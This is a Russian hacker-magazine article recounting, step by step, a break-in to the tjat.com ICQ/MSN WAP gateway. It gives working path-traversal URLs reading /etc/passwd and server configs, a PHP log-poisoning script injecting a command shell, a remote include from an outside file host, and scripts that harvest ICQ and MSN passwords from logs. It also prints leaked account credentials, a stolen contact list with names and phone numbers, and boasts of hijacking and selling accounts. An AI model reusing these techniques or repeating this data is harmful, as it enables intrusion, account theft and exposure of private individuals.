ICQ: призрачная угрозаМаг Хакер, номер #101, стр. 086 (mag@wapp.ru, icq 878477, http://icq.wapp.ru) Как поиметь тысячи ICQ-уиновВместо предисловия хочу процитировать небезызвестного Step'a («Хакер», №078, рубрика «FAQ»): «В последнее время большую популярность снискал специальный WAP-сервис — http://tjat.com. Изумительная разработка поддерживает сети ICQ и MSN и предоставляет практически полный набор стандартных возможностей. Ради твоей безопасности сервис не сохраняет пароли — их каждый раз приходится вводить заново (или забивать в телефоне закладку типа http://wap.tjat.com/l?u=ICQ&p=pass)». ЗавязкаМне всегда хотелось иметь много-много красивых номерков ICQ, но брутить и троянить их мне мешала лень. Я с завистью смотрел на обладателей элитных уинов, постепенно выстраивая план своих действий. И вот в октябре прошлого года, случайно обратив внимание на ICQ-WAP шлюз http://tjat.com, я задумался, а не сохраняет ли этот сервис номерки своих пользователей куда-нибудь в базу данных или в логи? Начав копать скрипты шлюза и ничего хорошего не обнаружив, я обратил внимание на форум http://forum.tjat.com. Движок phpbb был, скорее всего, последней версии, так как ни одна из известных уязвимостей не прокатывала. Но это не остановило мои хацкерские порывы :). Для форума был установлен wap-мод phpbbWapGate, на поверку оказавшийся дырявым. Первые шагиИтак, подставив в первый же попавшийся параметр кавычку: http://forums.tjat.com/wap/waptopic.php?s=0&topic=352&forum=1', я увидел ошибку: Failed obtaining forum access control lists<br /><br /><b><u>DEBUG MODE</u></b><br /><br />SQL Error : 1064 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 3<br /><br />SELECT a.forum_id, a.auth_view, a.auth_read, a.auth_post, a.auth_reply, a.auth_edit, a.auth_delete, a.auth_sticky, a.auth_announce, a.auth_vote, a.auth_pollcreate FROM phpbb_forums a WHERE a.forum_id = 1\' Наметанный глаз заядлого phpbb’шника сразу заметит бесполезность этой ошибки, так как, во-первых, кавычка экранируется, а во-вторых, весь запрос идет только в таблицу phpbb_forums и файл auth.php. Здесь лишь данные типа tinyint(1), то есть одна цифра в каждой ячейке. С такой багой многого не соберешь, использовать UNION нет смысла, поскольку ни один хеш ни одного админа не вытащишь… Конечно, можно было перебирать все символы в хеше пароля через встроенные функции MySQL, но снова помешала лень. Не отчаявшись, я продолжил свои исследования и нашел еще несколько бажных параметров типа http://forums.tjat.com/wap/wapmisc.php?action=forum&forum=1', но все они опять же обламывались на файле auth.php. Не найдя ничего полезного на форуме, я снова полез на основной сайт мессенджера. Развитие сюжетаЗалогинившись под левым уином, я попробовал вставлять разные хитрые символы во всевозможные параметры скриптов шлюза - опять же ничего не получалось. Совершив процедуру логаута и совершенно ни на что уже не надеясь, я попытался проверить самый простой и безобидный параметр lang следующим запросом: http://wap.tjat.com/?lang=ru../../../../../../../../../../../../.. На это система мне благополучно выдала все свои секреты: Warning: main(): Unable to access /usr/local/apache/htdocs/wap/messages.ru../../../../../../../../../../../../.. in /usr/local/apache/htdocs/wap/setlang.php on line 269 Радости моей не было предела! Хоть это был и сложный локальный инклуд, но все же инклуд! Теперь оставалось только залить куда-нибудь на сервер tjat.com свой шелл. Я снова пошел на форум, наивно полагая, что туда можно залить аватар, но такой возможности не было... Не отчаявшись, я решил посмотреть /etc/passwd. Первый запрос http://wap.tjat.com/?lang=ru../../../../../../../../../../../../../etc/passwd ничего не дал, но второй - http://wap.tjat.com/?lang=ru/../../../../../../../../../../../../../etc/passwd с дополнительным слешем после lang=ru - выдал мне все содержание файла. Это уже было что-то, но оставалось еще локально залить шелл. Немного подумав над планом дальнейших действий, я решил посмотреть файл httpd.conf: http://wap.tjat.com/?lang=ru/../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf Внимательно изучив полученные данные и обнаружив среди них некий сайт i.tjat.com, я решил посмотреть его лог. Он был довольно небольшим - что-то около килобайта. Ты спросишь, к чему все эти действия? Читай дальше :). Первые успехиЕсли локальный шелл никаким образом залить нельзя, то отчего же не внедрить нужный код прямо в лог, а потом заинклудить его с помощью уже известной баги? Итак, сооружаем небольшой php-скрипт для отсылки нужного нам кода: <? $site='i.tjat.com'; //адрес сайта $path='/'; //путь к уязвимому скрипту $inject='<? system($_GET[cmd]) ?>'; //php-инъекция $fp = fsockopen($site, 80, $errno, $errstr, 30)) $out = "GET $path HTTP/1.1\r\n"; 0$out .= "Host: $site\r\n"; $out .= "Connection: Close\r\n"; $out .= "User-Agent: $inject\r\n\r\n"; fwrite($fp, $out); fclose($fp); ?> Запустив этот скрипт у себя на локалхосте и убедившись в том, что он сработал, я соорудил ядовитую ссылку: http://wap.tjat.com/?lang=ru/../../../../../../../../../../../../../usr/local/apache/logs/imode_icq.com-access_log Перейдя по ней, я крупно обломался, поскольку на сервере был включен php safe_mode. Но, как ты догадываешься, дорогой читатель, это меня не остановило :). Кодерские будниЗатарившись пивом и чипсами, я снова стал смотреть httpd.conf, обнаружил очередной поддомен - temp.tjat.com и его логи - temp.tjat.com-access_log, которые по размеру тоже оказались идеальными для php-inject'а. Дальше я нашел свой скриптик, описанный в предыдущих моих статьях, http://wapp.ru/trash/dir.txt, который может читать директории, выполнять код и открывать файлы в safe_mode, переименовал его в testttt.jpg и залил на бесплатный обменник файлов на http://web.waping.ru. Как ты, вероятно, уже догадался, я записал в логи temp.tjat.com значение «<? include 'http://web.waping.ru/files/testttt.jpg'; ?>». Теперь ссылка выглядела так: http://wap.tjat.com/?lang=ru/../../../../../../../../../../../../../usr/local/apache/logs/temp.tjat.com-access_log& Я перешел по ней, и моему взору открылась чудная картина - список файлов в веб-директории tjat.com . Затем я отыскал директорию с логами: http://wap.tjat.com/?lang=ru/../../../../../../../../../../../../../usr/local/apache/logs/temp.tjat.com-access_log&&dira=./../../logs Мое внимание сразу привлек лог total_tjat.com-access_log, весил он немало - аж 1981336,5 Кб. Обычными средствами php открыть его было невозможно. Не особо не расстоившись, я немного погуглил на эту тему и написал небольшой скриптик, позволяющий открывать такие большие файлы: <? function bigfile($filename) { $fd = fopen($filename, "r"); while (!feof($fd)) { $buffer = fgets($fd, 4096); echo $buffer; } fclose($fd); } bigfile('/usr/local/apache/logs/total_tjat.com-access_log'); ?> Загрузив часть лога, я изучил его структуру и изменил свою функцию так, чтобы она выводила только асечные номера и пароли: function bigfile($filename) { $fd = fopen($filename, "r"); while (!feof($fd)) { $buffer = fgets($fd, 20*4096); preg_match_all('/icq_uin=([0-9]{5,9})&icq_pwd=(.*)(&|HTTP)/i',$buffer,$matches); $matches[0]=array_unique($matches[0]); !empty($matches[0][0]) ? print $matches[0][0]."\n" : ''; fclose($fd); } } В результате браузер выдал мне кучу неупорядоченной информации, содержащую пароли и номера. Теперь их надо было как-то очистить от лишнего мусора и систематизировать. Для этого я снова применил свои кодерские способности и написал простенький парсер, который выводил мне упорядоченный список без повторов в формате uin;password и общее количество всех номеров: <?php set_time_limit(120); function basic_replace($s) { $s=preg_replace("/icq_uin=([0-9]{5,9})&icq_pwd=(.*)( |HTTP)/i","$1;$2",$s); $s=preg_replace("/HTTP(.*)/i","$1-$2",$s); $s=str_replace(' [REDIRECT/302]','',$s); $s=str_replace('toer','',$s); $s=str_replace('rp06','',$s); $s=str_replace(' => ','',$s); $s=str_replace(' ','',$s); $s=str_replace('〈','',$s); $s=preg_replace("/=(he|ru|en|sv)/i",'',$s); $s=preg_replace("/\[([0-9]{1,9})\]/i",'',$s); return $s; } print '<html><title>parser</title><body>'; if(isset($urla) && !empty($urla)) $urla=basic_replace($urla); $urla=explode("\n",$urla); sort($urla,SORT_NUMERIC); $urla=array_unique($urla); for($i=0;$i<count($urla);++$i) { !empty($urla[$i]) ? print urldecode($urla[$i]).'<br/>' : ''; } print count($urla).'<br/>'; print '<form method=post>Текст:<br/><textarea name="urla"/></textarea><br/>'; print '<input type="submit" value="Вбить!"/>'; print '</form></body></html>'; ?> Затем я запустил свое творение у себя на локалхосте, вбил туда хаотичный список с tjat.com и выполнил, получив в итоге список уинов и паролей (привожу небольшой кусочек тут, да простят меня владельцы этих номеров): 204685805;tatyshka 204755617;120681 204767779;gn1260 204845253;maximko 204876333;12345678 204968096;1q2a3z 205032105;049989350 205191731;asdfgh Приведенные здесь уины я не тронул, впрочем, как и остальные семи-, восьми- и девятизнаки, а на всех полученных шестизнаках с помощью товарища DarkFull'а были изменены пароли. Так что, если будет нужен короткий номерок, обращайся :). РазвязкаИтак, tjat.com предоставляет доступ не только к ICQ, но и к msn, причем в логах msn’овских аккаунтов раза в 3 больше, чем асечных. Я подумал, а почему бы не составить список тех же hotmail’овских мыл, чтобы потом их пробить по базе primary-mail 6dig уинов? Принявшись за дело, сначала я изменил первую функцию так, чтобы скрипт показывал мне логи не аськи, а msn-аккаунтов: preg_match_all('/msn_account=(.*)&msn_pwd=(.*)(&|HTTP)/i',$buffer,$matches3); $matches[0]=array_unique($matches[0]); !empty($matches[0][0]) ? print $matches[0][0]."\n" : ''; А в парсере я подправил следующее: $s=preg_replace("/msn_account=(.*)&msn_pwd=(.*)( |HTTP)/i","$1;$2",$s); В итоге получился красивый списочек мыл, из которых на тысячу 5-8 стабильно были primary к какому-нибудь шестизнаку. Привожу тут небольшой списочек (теперь пускай меня прощают владельцы этих мыл :)). Jadallaf@hotmail.Com;farouk1975 cutemalik9@hotmail.com;456321 Devil.Matrix@hotmail.Com;2081988 Crno_slatko_pile@hotmail.com;901901 M3assal_teffehten@hotmail.Com;charbel Про то, как я писал скрипты, которые сравнивают базы примаков и мои логи, рассказывать не буду, так как это отдельная и очень печальная история :). ЭпилогОтыскав эту багу, я получил очень и очень много элитных уинов: шох, зеркал, xy и т.д. На одном из них (xxyxxx) сижу до сих пор :). А чтобы ты, дорогой читатель, возрадовался, открою тебе небольшой секрет. Сервис tjat.com очень любят асечные админы, я уводил такие их номерки, как: 23673 59000 55444 35555 С 23673 даже произошла очень веселая история: другие номерки админы забирали максимум через день, а этот я привязал к Рамблер-ICQ и при любой попытке админа забрать его обратно возвращал его себе :). Это продолжалось около месяца, пока админ не додумался убить в базе аськи значение с привязкой этого номера. На сладкое приведу здесь кусочек контакт-листа 35555: ICQ;10008;Orey Gil-yam;;+972 (52) 4872322 SMS;Fri Sep 23 2005 11:08:38 ICQ;10009;Tomer;;;Sun Sep 25 2005 13:00:09 ICQ;11221;Liat -Mrkt;;;Thu Mar 30 2006 13:28:59 General;65656;Eitan Shay;;+972 (55) 766582.;Fri Feb 10 2006 08:54:58 General;7050324;Clarisse;;;Fri Feb 10 2006 08:53:53 General;77770;Benny;;;Fri Feb 10 2006 08:53:54 Friends;3323338;Shlomiz;;+972 (54) 3132699 SMS;Thu Apr 27 2006 06:27:56 Friends;56666;Dan Rogachevsky;;+972 (50) 3089999;Fri Feb 10 2006 08:54:58 Cellcom;55155;Ran - Cellcom;;;Fri Feb 10 2006 08:54:58 Cellcom;90271;Itzik Woda;;+972 (58) 388411;Fri Feb 10 2006 08:53:53 Bell Mobility;1028176;Eric Corbeil;;;Thu Dec 23 2004 13:31:59 Bell Mobility;62381992;Mellie Chow;;;Fri Feb 10 2006 08:54:59 BigMir Ukrine;141222364;...Yaroslav...;;;Mon Jul 24 2006 13:04:57 AOL Ops;20702012;Patrick;;;Thu Dec 23 2004 13:30:55 AOL Ops;232323;Brent;;;Thu Dec 23 2004 13:30:53 AOL Ops;54662;ICQ NOC;;;Fri Feb 10 2006 08:54:58 AOL Ops;71173;kate;;;Fri Feb 10 2006 08:53:53 Небольшое примечание: 10008 - самый главный человек в аське, так что звони ему и пиши sms :). З.Ы.После благополучного использования баги в течение пяти месяцев во мне взыграла жадность, и я решил продать ее. Поместил объявление на асечке, прошел гаранта и тут знающие люди начали копать… В итоге все узнали про бажный сервис, и некоторые чуть не докопались до сути. Поняв, что с меня хватит такого геморроя, я написал эту статью и сообщил о баге администраторам сервиса, которые ее благополучно и прикрыли. Кстати, после публикации на асечке реакция админов последовала незамедлительно - у себя на форуме они написали, что tjat.com не ведет никаких логов, им очень жаль людей, которые потеряли номерки, но админы и их сервис ни в чем не виноваты: Tjat system NOT storing any UIN passwords (The validation process is not with Tjat at all (Icq.com), so we dont need that information), the passwords stored on your mobile device himself, as a part of the RememberMe feature. Please consider that when using any RememberMe feature on cellular phones at all DONT give your mobile to others, or remove these links/cookies first, they can use it for abuse!!! Охотно им поверим и закончим на этом :).Пользуясь случаем, передаю спасибо за моральную поддержку Cash, [De1eT], F100D P0w3R, DarkFull, Zahareg, всем, кто принимал участие в развитии этой истории на асечке и злом, а также админам tjat.com за то, что они все же прочитали мой мейл и приняли меры по устранению уязвимости :). WWW
DANGERВсе описанное в статье является плодом больного воображения автора. Любые совпадения с существующими сайтами случайны. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами этой статьи. |